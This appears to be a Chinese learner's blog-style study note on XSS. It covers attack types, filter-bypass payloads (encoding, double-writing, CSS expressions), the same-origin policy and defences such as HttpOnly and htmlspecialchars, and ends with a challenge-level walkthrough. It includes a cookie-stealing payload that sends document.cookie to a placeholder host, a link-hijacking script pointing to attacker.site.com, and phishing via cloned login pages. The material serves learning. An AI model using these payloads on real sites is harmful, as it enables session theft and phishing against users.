看的是这个地方的视频:XSS注入权当入个门了,抓包工具也没装,手痒痒拿XSS闯关练了一下,感觉还是比SQL注入简单一点的。
- 笔记的意义大概就是忘了的时候来查查。
- 编码部分不懂也不会。。。
XSS注入
XSS跨站脚本分类
跨站脚本攻击,为了不和CSS缩写混淆,所以缩写为XSS,恶意攻击者往往在web页面里插入恶意的script代码,当用户浏览该页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。
简单模型:
用户登录->攻击者将准备的URL提交给客户->用户请求攻击者的URL->服务器对攻击者的Jvascript作出回应->攻击者的javascript在用户的浏览器中执行->用户的浏览器向攻击者发送会话令牌(cookie)->攻击者劫持用户会话
- 反射型XSS:攻击具有一次性。反射型XSS攻击一般时通过电子邮件活着网站的形式向用户诱骗至恶意链接,当用户点击时服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户,用户浏览器解析执行代码触发XSS漏洞,例如
<?php
echo $_GET["uname"];
?>
当用户访问url?uname=<scipt>alert("hello");</script>
时,触发代码弹出对话框
-
存储型XSS:持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中,当用户进行正常访问请求存储的数据时时,触发XSS代码。
-
DOM型XSS:使用DOM动态访问更新文档的内容、结构及样式。服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应式DOM对象会处理XSS代码,触发XSS漏洞
XSS盗取cookie
cookie是web服务器保存在用户浏览器or客户端上的文件,包含了有关用户的信息。
- 临时cookie:只在浏览器上保存一段规定的时间,一旦超过规定时间,该cookie就会被系统清除。
作用:服务器利用cookie包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
反射XSS盗取cookie:
#location重定向
url?uname=<script>document.location=http://ip/cookie.php?cookie="+document.cookie</script>
将链接发送到用户,用户点击即触发XSS漏洞,同时可以使用URL编码迷惑用户
XSS篡改网页链接
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacker.site.com/";}
}
</script>
作用:可以篡改链接指向流量URL,刷流量,可以利用某些站点的重定向将上面的所有超链接都指向这个网站。
Beef进行恶意链接生产,以及利用hook.js执行其他命令
XSS盗取用户信息
原理:克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号和密码被存储。
setookit工具克隆网站
window.location进行重定向
没有过滤的XSS
探测XSS过程:
- 伪造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面
- 使用浏览器审查工具进行代码审查,寻找构造的字符串是否在代码中出现
- 构造XSS payload
- 简单payload: <script>alert(document.domain);</script>
- 闭合标签payload: "</b><script>alert(document.domain);</script>
属性中的XSS
配置chrome关闭XSS-Auditor,配置Chrome --args --disable-xss-auditor
XSS闭合引入事件:"onmouseover=alert(document.domain)>
隐藏参数中的XSS
HTML中svg介绍
svg意为可缩放矢量图形,使用XML格式定义图像,SVG文件可通过以下标签嵌入HTML文档:<embed>、<object>或者<iframe>,也可以使用svg标签插入<svg/事件="">
闭合触发XSS
"><svg onload=alert(document.domain)>%0a
限制输入长度的XSS
可以用python.len查看对应的字节数
html代码中标签有个maxlen属性可以更改前端限制的输入长度
javascript伪代码触发XSS
将js代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中,这个特殊的协议类型声明了URL的主体是任意的js代码,它由js的解释器运行,如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。例如
javascript:var now=new Date();"<h1>The time is:</h1>"+now;
Javascript URL还可以含有只执行动作,但不返回值的javascript语句。
javascript:alert("hello world")
payload伪协议触发XSS漏洞:javascript:alert(document.domain)
👆常常用在a标签里,需要点击才能触发
<a href="javascript:alert(document.domain)";>
绕过过滤domain为空的XSS
双写绕过:类似于SQL注入里的,dodomainmain:<script>alert(document.dodomainmain);</script>
编码绕过:把domain进行加密,例如
#引号中的是经过base64加密后的结果
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
绕过替换script和on时间的XSS
比如过滤了on事件,将其替换为onxxxx,<script>被替换为了<xscript>
解决方法:可以用tab、回车、换行、空格来欺骗浏览器,例如构造:
"><a href="javascr ipt:alert(document.domain);">1<a>
利用IE特性绕过XSS过滤:
IE特性:两个反引号``可以闭合一个左边双引号
构造payload:
``onmouseover=alert(document.domain)
利用CSS特性绕过XSS过滤:
CSS特性:background:url("javascript:alert(document.domian);");设置背景颜色
设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已经不再支持
构造payload:
background-color:#f00;background:url("javascript:alert(document.domain);");
IE中利用CSS触发XSS
css中执行js
css expression(css表达式)又称dynamic properties,是早期微软DHTML的产物,以其可以在css中定义表达式来达到建立元素间属性之间的练习等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始取消对css expression的支持。
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等,当然这些效果能够使用js实现。虽然css表达式问题很多,但是我们依然能够在网上看到他们的影子,甚至在一些成熟的商业网站上,最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)
注释绕过关键字过滤
利用的特性是CSS中的注释//,
绕过对关键字expression的过滤ex//pression
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
#如果把window.x=1去掉,就会一直弹窗,只能用任务管理器强制关闭了
16进制绕过过滤触发XSS
16进制:0~9, A~F,可以用python的binascii.b2a_hex()方法将字符转换为16进制。
双斜杠+16进制绕过:将脚本进行16进制转义
payload:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\\x3c表示<,\\x3e表示>
unicode绕过过滤触发XSS
unicode包括字符集、编码方案等,为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
双斜杠+unicode绕过:
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
浏览器同源策略
源
由协议//主机名:端口号/组成,例如http://www.example.com与https://www.example.com不是同源。
同源策略(协议、主机名、端口号必须完全一致):在计算机中,同源策略SOP用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。只有两个页面属于同一个源才能访问,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。例如,源A页面要访问源B页面认证cookie,如果不加阻止读取cookie,会造成cookie欺骗绕过登陆验证。
IE源的特殊处理
- 位于可信域的互信的域名间,不受同源策略限制。
- IE在判断同源时不考虑端口
- 可以通过document.domain读取或修改源,但是有限制,修改之后的源不能通过其他脚本再次修改。
document.domain
domain属性可以解决因同源安全策略带来的不同文档的属性共享问题。降域可以使用document.domain。
同源策略认为域和子域属于不同的域,如:
child1.a.com与a.com
child1.a.com与child2.a.com
xxx.child1.a.com与child1.a.com
两两不同源,可以通过设置document.domain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置document.domain='a.com'
cookie的HTTPONLY设置
当PHP脚本的setcookie("user","admin",NULL,NULL,NULL,NULL,TRUE)的最后一项设置为true时,就不能使用js获取cookie了
xss-filter过滤器
PHP中由htmlspecialchars()把预定义的字符转换为HTML实体,而不是作为一个标签作用于前端的元素
htmlentities()函数将一些特殊字符转换为HTML实体,例如输入<会转换为<
strip_tags()函数取出字符串中HTML、XML以及PHP的标签
自定义XSS filter:主要是用正则表达式过滤的,网上可以download下来直接用
编码转义介绍
URL编码
Url的设计者考虑到安全传输的问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(如中文),所以URL引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。
html编码
一些保留字符出现在文本节点和标签值里是不安全的。比如"<>"会导致浏览器误认为标签,如果想要正确的显示这些字符,需要使用html编码。
- 实体编码:一般以&开头,;结尾,可以不加;
- 进制编码:以&#开头,加上字符的数值,;结尾,可以不加;。字符的数值可以是任意十进制ascii码或unicode字符编码。十六进制的数值需要在编码数字前加x
javascript编码
- 数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的unicode数值编码,不足位数以0填充。
- jsfuck
编码含义
浏览器对提交的编码进行自解析并执行,可以通过这种方式进行注入
XSS发生的位置
GET型,如果在URL中提交的参数值在页面中显示,很有可能存在XSS漏洞。
POST型表单中提交的参数值,如果在页面中显示也很有可能存在XSS。
json型数据,可以在value值中进行闭合并注入。
HTTP自定义头中提交的参数值,如果在页面中显示就很有可能存在XSS
XSS平台挑战
链接:http://test.ctf8.com/level1.php?name=test
1~4关是正常闭合再alert即可;
第5关,将on时间和script都进行了替换,试了一下加空格和大小写都没有用,百度了一下大佬们是加入了一个a标签,链接到document.domain了;
第6关,改一下大小写;
第7关,双写绕过过滤;
第8关,研究了一会也不会,百度了以下大家是用实体编码搞的,我翻了翻笔记用的这个,其实输入的地方会变成友情链接的href值,想着在这里注入就行。但是我还没懂这个编码,改天抽个时间出来研究研究。
javascr ipt:alert(document.domain)
第9关,原创 当黑客就入门 XSS-Lab第九关没懂,答案是
javascript:alert(1)/*http://www.baidu.com*/
第10关,我一开始以为是改url里的参数,这一题其实是有属性type为hidden的元素,在这个地方注入,我其实是直接把type="hidden"这个地方改成了type="" onmouseover=alert(1) 😂这样我竟然对了,但是查了查别人写的,都是在URL里传参数&t_sort=123 " onclick="alert(1)"然后把这个地方改成type="text",至于那个控件传参数需要一个一个的试试。
第11关,大佬们说需要用burpsuite改,没装,不搞了,用10关我自己的方法蒙混过关了
第12关.瞅瞅network,是user-agent,不搞了
第13关,好像是cookie,咱也不知道是为啥,也不知道大佬们哪里搞来的PHP源码。。
第15关,不知道你懵没懵,反正我是瞎整过关了
这两个博客我都没看懂这关咋搞的:
XSS闯关挑战
XSS闯关笔记
突然意识到我改了人家的html代码,不弹窗才怪。。然后这个网站检测是否通过的方法就是弹窗,所以我才能通过,其实后几个题都没做对,肯定没注入成功。嗯傻了。。
网友评论